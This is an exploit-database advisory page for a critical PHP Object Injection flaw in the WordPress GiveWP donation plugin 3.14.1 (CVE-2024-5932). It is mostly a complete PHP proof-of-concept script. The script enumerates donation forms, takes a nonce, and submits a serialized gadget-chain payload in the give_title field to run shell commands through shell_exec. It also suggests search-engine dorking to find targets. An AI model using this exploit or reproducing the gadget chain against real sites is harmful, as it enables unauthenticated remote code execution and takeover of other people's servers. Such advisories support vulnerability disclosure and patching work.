PACKETSTORM 10 CRITICAL

📄 WordPress GiveWP Donation 3.14.1 PHP Object Injection_PACKETSTORM:212928

10 / 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Description

WordPress GiveWP Donation Fundraising Platform version 3.14.1 suffers from a PHP code injection vulnerability. This script exploits a different vector than the prior submissions from this researcher...
Visit Original Source

Basic Information

ID PACKETSTORM:212928
Published Dec 17, 2025 at 00:00

Affected Product

Affected Versions =============================================================================================================================================
| # Title : GiveWP Donation 3.14.1 PHP Object Injection vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 136.0.0 (64 bits) |
| # Vendor : https://givewp.com |
=============================================================================================================================================

POC :

[+] Dorking İn Google Or Other Search Enggine.

[+] Code Description: This PHP script demonstrates a proof-of-concept exploit for a PHP Object Injection vulnerability in the WordPress plugin GiveWP.

What the script does:

Sends AJAX requests to the WordPress admin-ajax.php endpoint using cURL.

Enumerates donation forms by calling the give_form_search action.

Selects a random form and retrieves its required nonce/hash via give_donation_form_nonce.

Builds a malicious serialized PHP payload that abuses unsafe object deserialization chains within GiveWP and its dependencies.

Injects the payload into a donation request parameter (give_title).

Triggers deserialization during donation processing (give_process_donation), aiming to execute a system command (e.g., whoami) via a gadget chain that reaches shell_exec.

Outputs the server response, which may contain command execution results if the target is vulnerable.

Impact:

Successful exploitation can lead to remote code execution (RCE) on the vulnerable WordPress server.

The attack requires no authentication if the affected AJAX actions are exposed.


(Related : https://packetstorm.news/files/id/180463/ Related CVE numbers: CVE-2024-5932 ) .

[+] Payload :

[+] Set Target : line 17

[+] Usage : php poc.php

[+] PayLoad :

<?php

// استغلال ثغرة PHP Object Injection في إضافة GiveWP لووردبريس

function send_request($url, $data) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/x-www-form-urlencoded']);
$response = curl_exec($ch);
curl_close($ch);
return $response;
}

$target = "http://victim-site.com"; // استبدل بعنوان الموقع المستهدف

// الحصول على قائمة النماذج
$form_list = send_request("$target/wp-admin/admin-ajax.php", "action=give_form_search");
$form_list = json_decode($form_list, true);
if (empty($form_list)) {
die("فشل في جلب قائمة النماذج.");
}

// اختيار نموذج عشوائي
$selected_form = $form_list[array_rand($form_list)];
$form_id = $selected_form['id'];

// جلب بيانات الاستغلال
$form_data = send_request("$target/wp-admin/admin-ajax.php", "action=give_donation_form_nonce&give_form_id=$form_id");
$form_data = json_decode($form_data, true);
if (!isset($form_data['data'])) {
die("فشل في جلب بيانات النموذج.");
}
$form_hash = $form_data['data'];

// تحميل الحمولة (Payload)
$payload = 'O:19:"Stripe\\StripeObject":1:{s:10:"\0*\0_values";a:1:{s:3:"foo";' .
'O:62:"Give\\PaymentGateways\\DataTransferObjects\\GiveInsertPaymentData":1:{' .
's:8:"userInfo";a:1:{s:7:"address";O:4:"Give":1:{s:12:"\0*\0container";' .
'O:33:"Give\\Vendors\\Faker\\ValidGenerator":3:{s:12:"\0*\0validator";' .
's:10:"shell_exec";s:12:"\0*\0generator";' .
'O:34:"Give\\Onboarding\\SettingsRepository":1:{' .
's:11:"\0*\0settings";a:1:{s:8:"address1";s:'.strlen('whoami').':"whoami";}}' .
's:13:"\0*\0maxRetries";i:10;}}}}}}';

// تنفيذ الاستغلال
$data = http_build_query([
'give-form-id' => $form_id,
'give-form-hash' => $form_hash,
'give-price-id' => '0',
'give-amount' => '$10.00',
'give_first' => 'John',
'give_last' => 'Doe',
'give_email' => '[email protected]',
'give_title' => $payload,
'give-gateway' => 'offline',
'action' => 'give_process_donation'
]);

$response = send_request("$target/wp-admin/admin-ajax.php", $data);
echo "Response: \n$response\n";

?>



Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.